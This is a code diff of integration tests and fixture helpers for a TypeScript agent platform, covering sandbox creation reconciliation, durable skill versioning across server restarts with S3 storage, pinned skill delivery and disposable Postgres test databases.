it("reconstructs a creation deadline after restart and leaves manual reconciliation quiet", async () => {
await start(); await quiet();
await createOwnedSandbox(db, { companyId, environmentId, provider: "fixture", driverKey: "fixture", config: {}, metadata: {} },
async () => ({ providerLeaseId: "fixture-unattached" }));
await settle();
expect(coordinator!.nextWakeAt()).toBeGreaterThan(Date.now());
worker!.stop(); await coordinator!.stop();
await start();
expect(coordinator!.nextWakeAt()).toBeGreaterThan(Date.now());
await settle(31 * 60_000);
await vi.waitFor(async () => expect(await db.select().from(sandboxCreationOperations)).toEqual([
expect.objectContaining({ state: "needs_reconciliation" }),
]));
await quiet();
});
it("settles a deleted-company creation as manual history across restart without idle polling", async () => {
await start(); await quiet();
await createOwnedSandbox(db, { companyId, environmentId, provider: "fixture", driverKey: "fixture", config: {}, metadata: {} },
async () => ({ providerLeaseId: "fixture-deleted-company" }));
await db.delete(companies).where(eq(companies.id, companyId));
await settle(31 * 60_000);
await vi.waitFor(async () => expect(await db.select().from(sandboxCreationOperations)).toEqual([
expect.objectContaining({ state: "needs_reconciliation", metadata: expect.objectContaining({ creationReconciliationReason: "company_deleted" }) }),
]));
await quiet();
worker!.stop(); await coordinator!.stop();
await start(); await quiet();
expect(releases).not.toHaveBeenCalled(); expect(inspections).not.toHaveBeenCalled();
const ownerId = randomUUID();
const hold = { ownerId, draining: true, startedAt: new Date(Date.now() - 1000), expiresAt: new Date(Date.now() + 60_000), activeRuns: 0, pendingWakes: 0 };
expect(await readIdleSleepSafety(db, () => hold, Date.now, ownerId, async () => "none"))
.toEqual({ version: 1, backgroundWork: "none" });
await quiet();
});
it("verifies ordinary cleanup carrying creation provenance and stops provider polling", async () => {
const lease = await pending();
await environmentService(db).updateLeaseMetadata(lease.id, { driver: "sandbox", creationOperationId: randomUUID() });
await environmentService(db).releaseLease(lease.id, "failed", { cleanupStatus: "success" });
await start(true);
expect(inspections).toHaveBeenCalledExactlyOnceWith(expect.objectContaining({ providerLeaseId: lease.providerLeaseId,
metadata: expect.objectContaining({ creationOperationId: expect.any(String) }) }));
await quiet();
worker!.stop(); await coordinator!.stop();
await start(true); expect(inspections).toHaveBeenCalledTimes(1); await quiet();
});
it("preserves a first creation signal during drain and disarms after atomic attachment", async () => {
await start(); await quiet(); draining = true;
const created = await createOwnedSandbox(db, { companyId, environmentId, provider: "fixture", driverKey: "fixture", config: {}, metadata: {} },
async () => ({ providerLeaseId: "fixture-attached" }));
const count = reads.mock.calls.length;
await settle(60_000, false); expect(reads).toHaveBeenCalledTimes(count);
draining = false;
await environmentService(db).acquireLease({ companyId, environmentId, provider: "fixture", providerLeaseId: created.providerLeaseId,
creationOperationId: String(created.metadata!.creationOperationId), metadata: created.metadata });
await settle();
expect(await db.select().from(sandboxCreationOperations)).toEqual([expect.objectContaining({ state: "attached" })]);
await quiet();
});
it("wakes on a real orphan insert, waits for its backoff, then disarms after deletion", async () => {
await start(); await quiet();
const lease = await pending(); await settle();
File diff suppressed because it is too large. Load diff
@@ -103,9 +103,7 @@ describeDatabase("environment managed skills", () => {
const events = () => db.select().from(resourceLifecycleEvents).where(and(eq(resourceLifecycleEvents.companyId, companyId), eq(resourceLifecycleEvents.resourceType, "agent_runtime")));
const before = (await events()).length;
const edited = skill.markdown + "\nCompany edit.";
await fs.chmod(path.join(skill.sourceLocator!, "SKILL.md"), 0o600);
await fs.writeFile(path.join(skill.sourceLocator!, "SKILL.md"), edited);
await db.update(companySkills).set({ markdown: edited }).where(eq(companySkills.id, skill.id));
await companySkillService(db).updateFile(companyId, skill.id, "SKILL.md", edited);
expect((await events()).slice(before).map(event => event.resourceId)).toEqual([agent.id]);
const refreshed = (await pluginAgentRuntimeState(db, pluginId, companyId, agent.id, undefined, true))!.skills[0];
expect(refreshed.versionId).not.toBe(runtime.versionId);
@@ -0,0 +1,169 @@
import { fork, type ChildProcess } from "node:child_process";
import { once } from "node:events";
import { randomUUID } from "node:crypto";
import { fileURLToPath } from "node:url";
import { promises as fs } from "node:fs";
import os from "node:os";
import path from "node:path";
import { beforeAll, afterAll, describe, expect, it } from "vitest";
import { S3Client, CreateBucketCommand, DeleteBucketCommand, ListObjectsV2Command, DeleteObjectsCommand } from "@aws-sdk/client-s3";
import { companies, createDb } from "@paperclipai/db";
import { startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
import { removeRuntimeAssetTree } from "../services/native-runtime/runtime-asset-retention.js";
type Server = { child: ChildProcess; url: string; home: string; rpc(method: string, input?: Record<string, unknown>): Promise<any> };
const enabled = Boolean(process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL && process.env.PAPERCLIP_TEST_S3_ENDPOINT);
describe.skipIf(!enabled)("skills survive web-server replacement", () => {
let database: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>>;
let db: ReturnType<typeof createDb>;
let root: string;
let s3: S3Client;
const bucket = `paperclip-skills-${randomUUID()}`;
const servers: Server[] = [];
beforeAll(async () => {
database = await startEmbeddedPostgresTestDatabase("ephemeral-skills-");
db = createDb(database.connectionString);
root = await fs.mkdtemp(path.join(os.tmpdir(), "ephemeral-skills-process-"));
s3 = new S3Client({ region: "us-east-1", endpoint: process.env.PAPERCLIP_TEST_S3_ENDPOINT, forcePathStyle: true });
await s3.send(new CreateBucketCommand({ Bucket: bucket }));
}, 90_000);
async function stop(server: Server) {
if (server.child.exitCode === null && server.child.signalCode === null) {
const exited = once(server.child, "exit");
server.child.kill("SIGKILL");
await exited;
}
}
afterAll(async () => {
await Promise.all(servers.map(stop));
await db?.$client.end({ timeout: 1 });
await database?.cleanup();
if (s3) {
while (true) {
const objects = await s3.send(new ListObjectsV2Command({ Bucket: bucket }));
if (!objects.Contents?.length) break;
await s3.send(new DeleteObjectsCommand({ Bucket: bucket, Delete: { Objects: objects.Contents.map(object => ({ Key: object.Key! })) } }));
}
await s3.send(new DeleteBucketCommand({ Bucket: bucket }));
s3.destroy();
}
if (root) await removeRuntimeAssetTree(root);
}, 90_000);
async function start(name: string): Promise<Server> {
const home = path.join(root, name);
const child = fork(fileURLToPath(new URL("./helpers/ephemeral-skills-server.ts", import.meta.url)), [], {
execArgv: ["--import", fileURLToPath(import.meta.resolve("tsx"))], stdio: ["ignore", "pipe", "pipe", "ipc"],
env: { ...process.env, DATABASE_URL: database.connectionString, PAPERCLIP_HOME: home, PAPERCLIP_INSTANCE_ID: "default",
PAPERCLIP_STORAGE_PROVIDER: "s3", PAPERCLIP_STORAGE_S3_BUCKET: bucket,
PAPERCLIP_STORAGE_S3_ENDPOINT: process.env.PAPERCLIP_TEST_S3_ENDPOINT, PAPERCLIP_STORAGE_S3_FORCE_PATH_STYLE: "true",
PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED: "true", PAPERCLIP_LOG_LEVEL: "error", PAPERCLIP_TELEMETRY_ENABLED: "false" },
});
let logs = "";
child.stdout?.on("data", data => { logs = (logs + data).slice(-5000); });
child.stderr?.on("data", data => { logs = (logs + data).slice(-5000); });
let nextId = 0;
const server: Server = { child, home, url: "", rpc(method, input) {
const id = ++nextId;
return new Promise((resolve, reject) => {
const timer = setTimeout(() => { cleanup(); reject(new Error(`Fixture RPC timed out: ${method}\n${logs}`)); }, 30_000);
const receive = (message: any) => { if (message.id === id) { cleanup(); message.error ? reject(new Error(message.error)) : resolve(message.result); } };
const exit = () => { cleanup(); reject(new Error(`Fixture exited during ${method}: ${logs}`)); };
const cleanup = () => { clearTimeout(timer); child.off("message", receive); child.off("exit", exit); };
child.on("message", receive); child.on("exit", exit); child.send({ id, method, input });
});
} };
servers.push(server);
await new Promise<void>((resolve, reject) => {
const timer = setTimeout(() => { cleanup(); reject(new Error(`Fixture startup timed out: ${logs}`)); }, 60_000);
const receive = (message: any) => { if (message.ready) { server.url = `http://127.0.0.1:${message.port}/api`; cleanup(); resolve(); } };
const exit = () => { cleanup(); reject(new Error(`Fixture startup failed: ${logs}`)); };
const cleanup = () => { clearTimeout(timer); child.off("message", receive); child.off("exit", exit); };
child.on("message", receive); child.on("exit", exit);
});
return server;
}
async function request(server: Server, route: string, method = "GET", body?: Record<string, unknown>, expected = 200) {
const response = await fetch(`${server.url}${route}`, { method, headers: { "Content-Type": "application/json" },
body: body ? JSON.stringify(body) : undefined, signal: AbortSignal.timeout(30_000) });
const result = await response.json();
expect(response.status, JSON.stringify(result)).toBe(expected);
return result;
}
async function company() {
const companyId = randomUUID();
await db.insert(companies).values({ id: companyId, name: "Ephemeral skill qualification", issuePrefix: `EP${companyId.slice(0, 5)}` });
return companyId;
}
async function directoryBytes(directory: string): Promise<number> {
let bytes = 0;
for (const entry of await fs.readdir(directory, { withFileTypes: true }).catch(() => [])) {
const absolute = path.join(directory, entry.name);
bytes += entry.isDirectory() ? await directoryBytes(absolute) : (await fs.stat(absolute)).size;
}
return bytes;
}
it("preserves unassigned content, exact receipts and executable delivery through A → B → C", async () => {
const companyId = await company();
const route = `/companies/${companyId}/skills`;
const a = await start("a");
const input = { name: "Cold fixture", slug: "cold-fixture", markdown: "# Version A\n", idempotencyKey: "create-once" };
const created = await request(a, route, "POST", input, 201);
const files = `${route}/${created.id}/files`;
const script = await request(a, files, "PATCH", { path: "scripts/run.sh", content: "#!/bin/sh\ncat references/value.txt\n", executable: true, expectedVersionId: created.currentVersionId });
const saved = await request(a, files, "PATCH", { path: "references/value.txt", content: "durable useful result\n", expectedVersionId: script.versionId });
await request(a, route);
await stop(a);
await removeRuntimeAssetTree(a.home);
await fs.writeFile(a.home, "predecessor filesystem unavailable");
const b = await start("b");
await b.rpc("metrics");
expect((await request(b, route)).some((skill: any) => skill.id === created.id)).toBe(true);
await request(b, `${route}/${created.id}/versions`);
expect((await b.rpc("metrics")).downloads).toBe(0);
const coldStarted = performance.now();
expect(await request(b, `${files}?path=references/value.txt`)).toMatchObject({ content: "durable useful result\n", versionId: saved.versionId });
const coldReadMs = performance.now() - coldStarted;
const coldMetrics = await b.rpc("metrics");
expect(coldMetrics.downloads).toBeGreaterThan(0);
expect(await b.rpc("runtime", { companyId, key: created.key, execute: true })).toMatchObject({ versionId: saved.versionId, output: "durable useful result\n" });
await b.rpc("metrics");
const warm = await b.rpc("runtime", { companyId, key: created.key, execute: true });
const warmMetrics = await b.rpc("metrics");
expect(warmMetrics.downloads).toBe(0);
const temporaryBytes = await directoryBytes(b.home);
await b.rpc("faults", { lostResponse: true });
const saveInput = { path: "SKILL.md", content: "# Version B\n", expectedVersionId: saved.versionId, idempotencyKey: "save-once" };
await expect(request(b, files, "PATCH", saveInput)).rejects.toThrow();
const receipt = await request(b, files, "PATCH", saveInput);
expect(receipt).toMatchObject({ skillId: created.id, path: "SKILL.md" });
const c = await start("c");
expect(await request(c, `${files}?path=SKILL.md`)).toMatchObject({ content: "# Version B\n", versionId: receipt.versionId });
expect(await request(c, route, "POST", input)).toEqual(created);
await stop(b);
await removeRuntimeAssetTree(b.home);
expect(await c.rpc("runtime", { companyId, key: created.key, versionId: saved.versionId, execute: true }))
.toMatchObject({ versionId: saved.versionId, markdown: "# Version A\n", output: "durable useful result\n" });
expect(await request(c, files, "PATCH", { ...saveInput, content: "different" }, 409)).toHaveProperty("error");
process.stdout.write(`${JSON.stringify({ qualification: "A-B-C", versions: [created.currentVersionId, saved.versionId, receipt.versionId],
coldReadMs, coldDownloads: coldMetrics.downloads, coldObjectBytes: coldMetrics.downloadedBytes,
warmMs: warm.elapsedMs, warmDownloads: warmMetrics.downloads, rssBytes: warmMetrics.memory.rss, temporaryBytes })}\n`);
}, 180_000);
it("rejects concurrent stale publication and survives upload failure or process death", async () => {
const companyId = await company(), route = `/companies/${companyId}/skills`;
const a = await start("concurrent-a"), b = await start("concurrent-b");
const created = await request(a, route, "POST", { name: "Conflict", markdown: "# Stable\n" }, 201);
const files = `${route}/${created.id}/files`;
await request(a, `${files}?path=SKILL.md`);
const edit = await request(b, files, "PATCH", { path: "first.txt", content: "B", expectedVersionId: created.currentVersionId });
await request(a, files, "PATCH", { path: "second.txt", content: "A", expectedVersionId: created.currentVersionId }, 409);
expect(await request(a, `${files}?path=first.txt`)).toMatchObject({ content: "B", versionId: edit.versionId });
await a.rpc("faults", { failUploads: true });
await request(a, files, "PATCH", { path: "SKILL.md", content: "# Must not commit\n", expectedVersionId: edit.versionId }, 500);
expect(await request(b, `${files}?path=SKILL.md`)).toMatchObject({ content: "# Stable\n", versionId: edit.versionId });
await a.rpc("faults", { crashAfterUpload: true });
await expect(request(a, files, "PATCH", { path: "SKILL.md", content: "# Crash candidate\n", expectedVersionId: edit.versionId })).rejects.toThrow();
expect(await request(b, `${files}?path=SKILL.md`)).toMatchObject({ content: "# Stable\n", versionId: edit.versionId });
}, 180_000);
});
@@ -0,0 +1,34 @@
import { createDb } from "@paperclipai/db";
import { environmentRuntimeService } from "../../services/environment-runtime.js";
import { environmentService } from "../../services/environments.js";
import type { PluginWorkerManager } from "../../services/plugin-worker-manager.js";
const db = createDb(process.env.CREATION_FIXTURE_DATABASE_URL!);
const workers = {
isRunning: () => true,
getWorker: () => ({ supportedMethods: ["environmentAcquireLease", "environmentInspectLease", "environmentDestroyLease"] }),
call: async (_pluginId: string, method: string, input: unknown) => {
const response = await fetch(process.env.CREATION_FIXTURE_PROVIDER_URL!, {
method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ method, input }),
});
if (!response.ok) throw new Error("Controlled provider unavailable");
return response.json();
},
} as unknown as PluginWorkerManager;
try {
const runtime = environmentRuntimeService(db, {
pluginWorkerManager: workers, orphanCleanupSpoolDir: process.env.CREATION_FIXTURE_EMPTY_DISK,
});
if (process.env.CREATION_FIXTURE_ACTION === "acquire") {
await runtime.acquireRunLease({ companyId: process.env.CREATION_FIXTURE_COMPANY_ID!,
environment: (await environmentService(db).getById(process.env.CREATION_FIXTURE_ENVIRONMENT_ID!))!,
heartbeatRunId: process.env.CREATION_FIXTURE_RUN_ID!, issueId: null, persistedExecutionWorkspace: null });
} else {
await runtime.flushDeferredOrphanCleanups();
}
process.stdout.write(JSON.stringify({ ok: true }));
} catch {
process.stdout.write(JSON.stringify({ ok: false }));
} finally {
await db.$client.end({ timeout: 1 });
}
@@ -2,12 +2,12 @@ import { enableRunFailureReporting } from "./helpers/run-failure-reporting.js";
import { createHash, randomUUID } from "node:crypto";
import { trace } from "@opentelemetry/api";
import { InMemorySpanExporter, SimpleSpanProcessor, TracerProvider } from "@opentelemetry/sdk-trace";
import { access, chmod, mkdir, readdir, readFile, mkdtemp, rm } from "node:fs/promises";
import { access, chmod, mkdir, readdir, readFile, mkdtemp, rm, stat } from "node:fs/promises";
import { tmpdir } from "node:os";
import path from "node:path";
import { eq } from "drizzle-orm";
import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest";
import { agents, authUsers, companies, companyMemberships, companySkills, createDb, heartbeatRunEvents, heartbeatRuns, issues, projects, plugins, environments } from "@paperclipai/db";
import { agents, authUsers, companies, companyMemberships, companySkills, companySkillTestRuns, createDb, heartbeatRunEvents, heartbeatRuns, issues, projects, plugins, environments } from "@paperclipai/db";
import { companySkillService } from "../services/company-skills.js";
import { withSkillVersionCacheLock } from "../services/skill-version-cache.js";
import { registerServerAdapter, unregisterServerAdapter, type AdapterExecutionContext } from "../adapters/index.js";
@@ -21,7 +21,7 @@ import { aiConnectionService } from "../services/ai-connections.js";
import * as aiRuntime from "../services/ai-connection-runtime.js";
import * as sentry from "../sentry.js";
import { waitForPendingRunFailureReports } from "../services/run-failure-report.js";
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
import { recoveryPostgresSupport, startRecoveryPostgres } from "./helpers/recovery-postgres.js";
const skillFailures = vi.hoisted(() => new Map<string, string>());
@@ -59,12 +59,12 @@ vi.mock("../services/company-skills.js", async importOriginal => {
} };
});
const support = await getEmbeddedPostgresTestSupport();
const support = recoveryPostgresSupport;
const describePostgres = support.supported ? describe : describe.skip;
if (!support.supported) console.warn(`Skipping execution configuration tests: ${support.reason}`);
describePostgres("heartbeat execution configuration through adapter dispatch", () => {
let temporary: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>>;
let temporary: Awaited<ReturnType<typeof startRecoveryPostgres>>;
let db: ReturnType<typeof createDb>;
let heartbeat: ReturnType<typeof heartbeatService>;
const captured = new Map<string, AdapterExecutionContext>();
@@ -74,7 +74,7 @@ describePostgres("heartbeat execution configuration through adapter dispatch", (
let home: string;
beforeAll(async () => {
temporary = await startEmbeddedPostgresTestDatabase("heartbeat-execution-config-");
temporary = await startRecoveryPostgres("heartbeat-execution-config-");
db = createDb(temporary.connectionString);
home = await mkdtemp(path.join(tmpdir(), "paperclip-execution-skills-"));
process.env.PAPERCLIP_HOME = home;
@@ -90,7 +90,7 @@ describePostgres("heartbeat execution configuration through adapter dispatch", (
},
testEnvironment: async () => ({ adapterType, status: "pass", checks: [], testedAt: new Date().toISOString() }),
});
}, 30_000);
}, 60_000);
afterEach(() => { vi.restoreAllMocks(); vi.unstubAllEnvs(); skillFailures.clear(); });
afterAll(async () => {
await heartbeat?.drainActiveRunExecutions();
@@ -220,14 +220,14 @@ describePostgres("heartbeat execution configuration through adapter dispatch", (
}
});
async function configuration(f: Awaited<ReturnType<typeof seed>>, config: Record<string, unknown>, snapshot: Record<string, unknown> = {}, type = "paperclip_runner", explicitTaskDirectory = false, requestedExecutionWorkspaceMode: HeartbeatExecutionConfigurationInput["policy"]["requestedExecutionWorkspaceMode"] = "shared_workspace", selectedEnvironmentForConfig: HeartbeatExecutionConfigurationInput["environment"]["selectedEnvironmentForConfig"] = null) {
async function configuration(f: Awaited<ReturnType<typeof seed>>, config: Record<string, unknown>, snapshot: Record<string, unknown> = {}, type = "paperclip_runner", explicitTaskDirectory = false, requestedExecutionWorkspaceMode: HeartbeatExecutionConfigurationInput["policy"]["requestedExecutionWorkspaceMode"] = "shared_workspace", selectedEnvironmentForConfig: HeartbeatExecutionConfigurationInput["environment"]["selectedEnvironmentForConfig"] = null, pinnedSkillTest?: HeartbeatExecutionConfigurationInput["task"]["pinnedSkillTest"]) {
const [agent] = await db.update(agents).set({ adapterType: type, adapterConfig: config }).where(eq(agents.id, f.agentId)).returning();
const [run] = await db.insert(heartbeatRuns).values({ companyId: f.companyId, agentId: f.agentId, issueId: f.issueId, scopeKind: "issue", status: "running", contextSnapshot: snapshot }).returning();
const resolvedInstanceSettings = await instanceSettingsService(db).get();
const appendRunEvent = vi.fn();
return { run, appendRunEvent, prepare: () => prepareHeartbeatExecutionConfiguration(db, {
run, agent,
task: { issueId: f.issueId, context: { ...snapshot, issueId: f.issueId }, responsibleUserId: null,
task: { issueId: f.issueId, context: { ...snapshot, issueId: f.issueId }, responsibleUserId: null, pinnedSkillTest,
acceptedPlanContinuationWake: false, acceptedPlanWakeRoutingDecision: null,
taskProjectContext: null, routineEnvContext: { routineId: null, env: null, responsibleUserId: null } },
config: { sourceWorkspaceConfig: config, aiBinding: undefined },
@@ -239,6 +239,56 @@ describePostgres("heartbeat execution configuration through adapter dispatch", (
}) };
}
it("delivers the Studio pin instead of ordinary assignments and recovers that exact native selection", async () => {
const f = await seed(), skills = companySkillService(db);
const selected = await skills.createLocalSkill(f.companyId, { name: "Unassigned Studio skill", markdown: "# Studio\nOriginal selected bytes.\n" });
const other = await skills.createLocalSkill(f.companyId, { name: "Ordinary assignment" });
const pin = { key: selected.key, versionId: selected.currentVersionId! };
await skills.updateFile(f.companyId, selected.id, "SKILL.md", "# Studio\nNewer head.\n");
const config = { paperclipSkillSync: { desiredSkills: [other.key] } };
await instanceSettingsService(db).updateExperimental({ enableBetaSkills: false });
const opening = await configuration(f, config, {}, "paperclip_runner", false, "shared_workspace", null, pin);
const result = await opening.prepare();
expect(result.prepared).toBe(true);
if (!result.prepared) throw new Error("Configuration did not finish");
expect(result.runtimeSkillEntries).toEqual([expect.objectContaining({ key: selected.key, versionId: pin.versionId })]);
expect(await readFile(path.join(result.runtimeSkillEntries[0]!.source, "SKILL.md"), "utf8")).toContain("Original selected bytes.");
const [saved] = await db.select().from(heartbeatRuns).where(eq(heartbeatRuns.id, opening.run.id));
expect(saved.contextSnapshot!.skillVersions).toEqual({ [selected.key]: pin.versionId });
const restoring = await configuration(f, { paperclipSkillSync: { desiredSkills: [] } }, saved.contextSnapshot!, "paperclip_runner");
expect(await restoring.prepare()).toMatchObject({ runtimeSkillEntries: [expect.objectContaining({ key: selected.key, versionId: pin.versionId })] });
const preconfigured = await configuration(f, { ...config, homeMode: "preconfigured" }, {}, "paperclip_runner", false, "shared_workspace", null, pin);
await expect(preconfigured.prepare()).rejects.toThrow("isolated Runner home");
await db.update(companySkills).set({ accessSourceId: randomUUID() }).where(eq(companySkills.id, selected.id));
const denied = await configuration(f, config, {}, "paperclip_runner", false, "shared_workspace", null, pin);
await expect(denied.prepare()).rejects.toThrow("pinned skill is unavailable or no longer permitted");
}, 60_000);
it("dispatches an unassigned Studio revision from its durable harness row", async () => {
const f = await seed(), skills = companySkillService(db);
const selected = await skills.createLocalSkill(f.companyId, { name: "Studio delivery", markdown: "# Studio\nRead scripts/prove.sh.\n" });
const script = "#!/bin/sh\nprintf 'studio-pinned-proof\\n'\n";
const saved = await skills.updateFile(f.companyId, selected.id, "scripts/prove.sh", script, null, { executable: true });
const other = await skills.createLocalSkill(f.companyId, { name: "Assigned instead" });
await db.update(agents).set({ adapterConfig: { paperclipSkillSync: { desiredSkills: [other.key] } } }).where(eq(agents.id, f.agentId));
await db.update(issues).set({ workMode: "skill_test", harnessKind: "skill_test" }).where(eq(issues.id, f.issueId));
await db.insert(companySkillTestRuns).values({ companyId: f.companyId, skillId: selected.id, skillVersionId: saved.versionId!,
agentId: f.agentId, issueId: f.issueId, inputSnapshot: "Run the saved script." });
await skills.updateFile(f.companyId, selected.id, "scripts/prove.sh", "#!/bin/sh\necho newer\n", null, { executable: true });
const { finished, input } = await execute(f);
expect(finished.status, finished.error ?? undefined).toBe("succeeded");
const delivered = input?.config.paperclipRuntimeSkills as Array<{ key: string; source: string; versionId: string }>;
const testSkill = delivered.find(entry => entry.key === selected.key)!;
expect(testSkill).toMatchObject({ versionId: saved.versionId });
expect(delivered.some(entry => entry.key === other.key)).toBe(false);
expect(await readFile(path.join(testSkill.source, "scripts/prove.sh"), "utf8")).toBe(script);
expect((await stat(path.join(testSkill.source, "scripts/prove.sh"))).mode & 0o111).not.toBe(0);
expect(finished.contextSnapshot).toMatchObject({ skillVersions: { [selected.key]: saved.versionId },
paperclipSkillTest: { skillKey: selected.key, skillVersionId: saved.versionId } });
const [unchangedAgent] = await db.select().from(agents).where(eq(agents.id, f.agentId));
expect(unchangedAgent.adapterConfig).toMatchObject({ paperclipSkillSync: { desiredSkills: [other.key] } });
}, 60_000);
it("does not install new environment declarations when recovering a saved skill selection", async () => {
const f = await seed(), pluginId = randomUUID(), pluginKey = `fixture.${randomUUID()}`;
await db.insert(plugins).values({ id: pluginId, pluginKey, packageName: "fixture", version: "1.0.0", status: "ready",
@@ -278,6 +278,7 @@ describeEmbeddedPostgres("heartbeat plugin environments", () => {
}, { timeout: 5_000 });
expect(workerManager.call).toHaveBeenNthCalledWith(1, pluginId, "environmentAcquireLease", {
creationOperationId: expect.any(String),
driverKey: "sandbox",
companyId,
environmentId,
@@ -745,6 +746,7 @@ describeEmbeddedPostgres("heartbeat plugin environments", () => {
}, { timeout: 5_000 });
expect(workerManager.call).toHaveBeenNthCalledWith(1, pluginId, "environmentAcquireLease", {
creationOperationId: expect.any(String),
driverKey: "sandbox",
companyId,
environmentId: newEnvironmentId,
@@ -24,6 +24,7 @@ import {
getEmbeddedPostgresTestSupport,
startEmbeddedPostgresTestDatabase,
} from "./helpers/embedded-postgres.js";
import { skillInstallationMaintenance } from "../services/skill-installation-maintenance.js";
import { companySkillService } from "../services/company-skills.ts";
import { heartbeatService } from "../services/heartbeat.ts";
import { instanceSettingsService } from "../services/instance-settings.ts";
@@ -160,7 +161,11 @@ describeEmbeddedPostgres("heartbeat runtime skill version pins", () => {
const skills = companySkillService(db);
const imported = await skills.importFromSource(companyId, directory);
const key = imported.imported[0]!.key;
if (sourceType === "catalog") await db.update(companySkills).set({ sourceType }).where(eq(companySkills.key, key));
if (sourceType === "catalog") {
await db.update(companySkills).set({ sourceType }).where(eq(companySkills.key, key));
const result = await skillInstallationMaintenance(db).installations({ id: imported.imported[0]!.id, apply: true, writersStopped: true });
expect(result.results[0]!.status).toBe("converted");
}
const selected = { snapshotLatest: true, onlyKeys: new Set([key]) };
const [first] = await skills.listRuntimeSkillEntries(companyId, selected);
expect(first!.versionId).toBeTruthy();
@@ -169,6 +174,14 @@ describeEmbeddedPostgres("heartbeat runtime skill version pins", () => {
// A reference-only change must be discovered even when SKILL.md is unchanged.
await fs.writeFile(path.join(directory, 'references/marker.txt'), 'v2\n');
if (sourceType === "local_path") await skills.importFromSource(companyId, directory);
else {
const [beforeUpdate] = await skills.listRuntimeSkillEntries(companyId, selected);
expect(beforeUpdate!.versionId).toBe(first!.versionId);
const saved = (await skills.getVersion(companyId, imported.imported[0]!.id, first!.versionId!))!;
await skills.createVersion(companyId, imported.imported[0]!.id, {}, null, {
fileInventory: saved.fileInventory.map(file => file.path === "references/marker.txt" ? { ...file, content: "v2\n" } : file),
});
}
const [latest] = await skills.listRuntimeSkillEntries(companyId, selected);
expect(latest!.versionId).not.toBe(first!.versionId);
expect(await fs.readFile(path.join(latest!.source, 'references/marker.txt'), 'utf8')).toBe('v2\n');
@@ -1,6 +1,35 @@
export {
getEmbeddedPostgresTestSupport,
startEmbeddedPostgresTestDatabase,
import { randomUUID } from "node:crypto";
import {
applyPendingMigrations,
createDb,
getEmbeddedPostgresTestSupport as embeddedSupport,
startEmbeddedPostgresTestDatabase as startEmbedded,
type EmbeddedPostgresTestDatabase,
type EmbeddedPostgresTestSupport,
} from "@paperclipai/db";
export type { EmbeddedPostgresTestDatabase, EmbeddedPostgresTestSupport };
export async function getEmbeddedPostgresTestSupport(): Promise<EmbeddedPostgresTestSupport> {
return process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL ? { supported: true } : embeddedSupport();
}
export async function startEmbeddedPostgresTestDatabase(prefix: string): Promise<EmbeddedPostgresTestDatabase> {
const adminUrl = process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL;
if (!adminUrl) return startEmbedded(prefix);
const name = `paperclip_test_${randomUUID().replaceAll("-", "")}`;
const template = process.env.PAPERCLIP_TEST_POSTGRES_TEMPLATE;
if (template && !/^paperclip_test_template_[a-f0-9]+$/.test(template)) throw new Error("Invalid disposable test template name");
const admin = createDb(adminUrl, { maxConnections: 1 });
const url = new URL(adminUrl);
url.pathname = `/${name}`;
const cleanup = async () => {
try { await admin.$client.unsafe(`DROP DATABASE IF EXISTS "${name}" WITH (FORCE)`); }
finally { await admin.$client.end({ timeout: 1 }); }
};
try {
await admin.$client.unsafe(`CREATE DATABASE "${name}"${template ? ` TEMPLATE "${template}"` : ""}`);
if (!template) await applyPendingMigrations(url.toString());
return { connectionString: url.toString(), cleanup };
} catch (error) { await cleanup(); throw error; }
}
@@ -0,0 +1,76 @@
import express from "express";
import { promisify } from "node:util";
import { execFile } from "node:child_process";
import { promises as fs } from "node:fs";
import path from "node:path";
import { createDb } from "@paperclipai/db";
import { companySkillRoutes } from "../../routes/company-skills.js";
import { errorHandler } from "../../middleware/error-handler.js";
import { companySkillService } from "../../services/company-skills.js";
import { getStorageService } from "../../storage/index.js";
const db = createDb(process.env.DATABASE_URL!, { maxConnections: 1 });
const storage = getStorageService();
const getObject = storage.getObject.bind(storage), putFile = storage.putFile.bind(storage);
let downloads = 0, downloadedBytes = 0, failUploads = false, crashAfterUpload = false, lostResponse = false;
storage.getObject = async (...args) => {
downloads++;
const result = await getObject(...args);
downloadedBytes += result.contentLength ?? 0;
return result;
};
storage.putFile = async (...args) => {
if (failUploads) throw new Error("Qualification upload failure");
const result = await putFile(...args);
if (crashAfterUpload) process.kill(process.pid, "SIGKILL");
return result;
};
const app = express();
app.use(express.json());
app.use((req, res, next) => {
req.actor = { type: "board", source: "local_implicit", userId: "local-board", isInstanceAdmin: true };
const json = res.json.bind(res);
res.json = ((body: unknown) => {
if (lostResponse && res.statusCode < 400 && req.method !== "GET") {
lostResponse = false;
res.socket?.destroy();
return res;
}
return json(body);
}) as typeof res.json;
next();
});
app.use("/api", companySkillRoutes(db));
app.use(errorHandler);
const server = app.listen(0, "127.0.0.1", () => {
const address = server.address();
process.send?.({ ready: true, port: typeof address === "object" ? address?.port : null, pid: process.pid });
});
process.on("message", async (message: { id: number; method: string; input?: Record<string, any> }) => {
try {
const input = message.input ?? {};
let result: unknown;
if (message.method === "faults") {
failUploads = input.failUploads ?? false;
crashAfterUpload = input.crashAfterUpload ?? false;
lostResponse = input.lostResponse ?? false;
result = true;
} else if (message.method === "metrics") {
result = { downloads, downloadedBytes, memory: process.memoryUsage() };
downloads = 0; downloadedBytes = 0;
} else if (message.method === "runtime") {
const started = performance.now();
result = await companySkillService(db).withRuntimeSkillEntries(input.companyId, {
onlyKeys: new Set([input.key]), snapshotLatest: true,
...(input.versionId ? { versionSelections: new Map([[input.key, input.versionId]]) } : {}),
}, async entries => {
const entry = entries[0];
if (!entry || entry.sourceStatus === "missing") throw new Error(entry?.missingDetail ?? "Missing runtime selection");
const output = input.execute ? await promisify(execFile)(path.join(entry.source, "scripts/run.sh"), [], { cwd: entry.source }) : null;
return { versionId: entry.versionId, markdown: await fs.readFile(path.join(entry.source, "SKILL.md"), "utf8"),
output: output?.stdout, elapsedMs: performance.now() - started };
});
} else throw new Error("Unknown fixture method");
process.send?.({ id: message.id, result });
